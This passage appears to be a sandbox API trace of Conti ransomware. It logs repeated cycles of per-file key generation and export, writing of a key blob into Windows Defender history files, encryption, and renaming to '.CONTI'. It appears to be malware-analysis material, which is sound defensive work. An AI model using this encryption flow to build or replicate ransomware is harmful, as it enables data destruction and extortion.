	[0115.349] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.349] CloseHandle (hObject=0x418) returned 1
	[0115.349] GetProcessHeap () returned 0x1720000
	[0115.349] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0115.349] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\02\\109004" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\02\\109004") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\02\\109004"
	[0115.349] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\02\\109004", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\02\\109004.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\02\\109004.CONTI"
	[0115.349] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\02\\109004" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\02\\109004"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\02\\109004.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\02\\109004.conti")) returned 1
	[0115.350] GetProcessHeap () returned 0x1720000
	[0115.350] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0115.350] CryptDestroyKey (hKey=0x6b7f538) returned 1
	[0115.350] GetProcessHeap () returned 0x1720000
	[0115.350] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6560da0 | out: hHeap=0x1720000) returned 1
	[0115.350] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0115.350] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x6b43508 | out: phKey=0x6b43508*=0x6b7f438) returned 1
	[0115.350] CryptExportKey (in: hKey=0x6b7f438, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4350c, pdwDataLen=0x3cffb14 | out: pbData=0x6b4350c*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0115.351] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\04\\109005" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\04\\109005")) returned 0x20
	[0115.351] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\04\\109005" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\04\\109005"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0115.351] GetLastError () returned 0x0
	[0115.351] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=136) returned 1
	[0115.351] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x88
	[0115.351] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.352] SetEndOfFile (hFile=0x418) returned 1
	[0115.352] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.352] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.352] WriteFile (in: hFile=0x418, lpBuffer=0x6b4350c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x6b4350c*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0115.353] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.353] ReadFile (in: hFile=0x418, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x88, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x88, lpOverlapped=0x0) returned 1
	[0115.353] CryptEncrypt (in: hKey=0x6b7f438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x88, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x90) returned 1
	[0115.353] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.353] WriteFile (in: hFile=0x418, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x90, lpOverlapped=0x0) returned 1
	[0115.353] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.353] WriteFile (in: hFile=0x418, lpBuffer=0x6b43500*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x6b43500*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0115.353] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.353] CloseHandle (hObject=0x418) returned 1
	[0115.353] GetProcessHeap () returned 0x1720000
	[0115.353] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0115.353] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\04\\109005" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\04\\109005") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\04\\109005"
	[0115.354] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\04\\109005", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\04\\109005.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\04\\109005.CONTI"
	[0115.354] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\04\\109005" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\04\\109005"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\04\\109005.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\04\\109005.conti")) returned 1
	[0115.354] GetProcessHeap () returned 0x1720000
	[0115.354] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0115.354] CryptDestroyKey (hKey=0x6b7f438) returned 1
	[0115.354] GetProcessHeap () returned 0x1720000
	[0115.354] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6560b90 | out: hHeap=0x1720000) returned 1
	[0115.354] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0115.354] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x6b41088 | out: phKey=0x6b41088*=0x6b7f438) returned 1
	[0115.354] CryptExportKey (in: hKey=0x6b7f438, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4108c, pdwDataLen=0x3cffb14 | out: pbData=0x6b4108c*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0115.355] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\04\\259" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\04\\259")) returned 0x20
	[0115.358] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\04\\259" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\04\\259"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0115.358] GetLastError () returned 0x0
	[0115.358] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=136) returned 1
	[0115.358] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x88
	[0115.358] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.358] SetEndOfFile (hFile=0x408) returned 1
	[0115.359] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.359] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.359] WriteFile (in: hFile=0x408, lpBuffer=0x6b4108c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x6b4108c*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0115.360] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.360] ReadFile (in: hFile=0x408, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x88, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x88, lpOverlapped=0x0) returned 1
	[0115.360] CryptEncrypt (in: hKey=0x6b7f438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x88, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x90) returned 1
	[0115.360] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.360] WriteFile (in: hFile=0x408, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x90, lpOverlapped=0x0) returned 1
	[0115.360] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.360] WriteFile (in: hFile=0x408, lpBuffer=0x6b41080*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x6b41080*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0115.360] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.360] CloseHandle (hObject=0x408) returned 1
	[0115.360] GetProcessHeap () returned 0x1720000
	[0115.360] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0115.370] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\04\\259" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\04\\259") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\04\\259"
	[0115.370] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\04\\259", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\04\\259.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\04\\259.CONTI"
	[0115.371] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\04\\259" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\04\\259"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\04\\259.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\04\\259.conti")) returned 1
	[0115.371] GetProcessHeap () returned 0x1720000
	[0115.371] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0115.371] CryptDestroyKey (hKey=0x6b7f438) returned 1
	[0115.371] GetProcessHeap () returned 0x1720000
	[0115.371] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173eea0 | out: hHeap=0x1720000) returned 1
	[0115.371] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0115.371] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x6b40768 | out: phKey=0x6b40768*=0x6b7f438) returned 1
	[0115.372] CryptExportKey (in: hKey=0x6b7f438, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4076c, pdwDataLen=0x3cffb14 | out: pbData=0x6b4076c*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0115.372] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\10\\267" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\10\\267")) returned 0x20
	[0115.373] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\10\\267" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\10\\267"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0115.373] GetLastError () returned 0x0
	[0115.373] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=136) returned 1
	[0115.373] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x88
	[0115.373] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.373] SetEndOfFile (hFile=0x408) returned 1
	[0115.373] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.373] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.373] WriteFile (in: hFile=0x408, lpBuffer=0x6b4076c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x6b4076c*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0115.374] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.374] ReadFile (in: hFile=0x408, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x88, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x88, lpOverlapped=0x0) returned 1
	[0115.374] CryptEncrypt (in: hKey=0x6b7f438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x88, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x90) returned 1
	[0115.374] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.375] WriteFile (in: hFile=0x408, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x90, lpOverlapped=0x0) returned 1
	[0115.375] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.375] WriteFile (in: hFile=0x408, lpBuffer=0x6b40760*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x6b40760*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0115.375] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.375] CloseHandle (hObject=0x408) returned 1
	[0115.375] GetProcessHeap () returned 0x1720000
	[0115.375] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0115.375] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\10\\267" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\10\\267") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\10\\267"
	[0115.375] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\10\\267", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\10\\267.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\10\\267.CONTI"
	[0115.375] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\10\\267" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\10\\267"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\10\\267.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\10\\267.conti")) returned 1
	[0115.376] GetProcessHeap () returned 0x1720000
	[0115.376] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0115.376] CryptDestroyKey (hKey=0x6b7f438) returned 1
	[0115.376] GetProcessHeap () returned 0x1720000
	[0115.376] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173eff0 | out: hHeap=0x1720000) returned 1
	[0115.376] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0115.376] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x6b412d0 | out: phKey=0x6b412d0*=0x6b7f6b8) returned 1
	[0115.376] CryptExportKey (in: hKey=0x6b7f6b8, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b412d4, pdwDataLen=0x3cffb14 | out: pbData=0x6b412d4*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0115.377] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\10\\286" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\10\\286")) returned 0x20
	[0115.382] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\10\\286" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\10\\286"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0115.382] GetLastError () returned 0x0
	[0115.382] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=136) returned 1
	[0115.382] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x88
	[0115.382] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.382] SetEndOfFile (hFile=0x408) returned 1
	[0115.382] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.382] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.383] WriteFile (in: hFile=0x408, lpBuffer=0x6b412d4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x6b412d4*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0115.384] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.384] ReadFile (in: hFile=0x408, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x88, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x88, lpOverlapped=0x0) returned 1
	[0115.384] CryptEncrypt (in: hKey=0x6b7f6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x88, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x90) returned 1
	[0115.384] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.384] WriteFile (in: hFile=0x408, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x90, lpOverlapped=0x0) returned 1
	[0115.384] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.384] WriteFile (in: hFile=0x408, lpBuffer=0x6b412c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x6b412c8*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0115.384] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.384] CloseHandle (hObject=0x408) returned 1
	[0115.384] GetProcessHeap () returned 0x1720000
	[0115.384] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0115.384] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\10\\286" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\10\\286") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\10\\286"
	[0115.384] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\10\\286", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\10\\286.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\10\\286.CONTI"
	[0115.384] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\10\\286" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\10\\286"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\10\\286.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\10\\286.conti")) returned 1
	[0115.385] GetProcessHeap () returned 0x1720000
	[0115.385] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0115.385] CryptDestroyKey (hKey=0x6b7f6b8) returned 1
	[0115.385] GetProcessHeap () returned 0x1720000
	[0115.385] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173f338 | out: hHeap=0x1720000) returned 1
	[0115.385] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0115.385] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x6b43078 | out: phKey=0x6b43078*=0x6b7f278) returned 1
	[0115.385] CryptExportKey (in: hKey=0x6b7f278, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4307c, pdwDataLen=0x3cffb14 | out: pbData=0x6b4307c*, pdwDataLen=0x3cffb14*=0x20c) returned 1
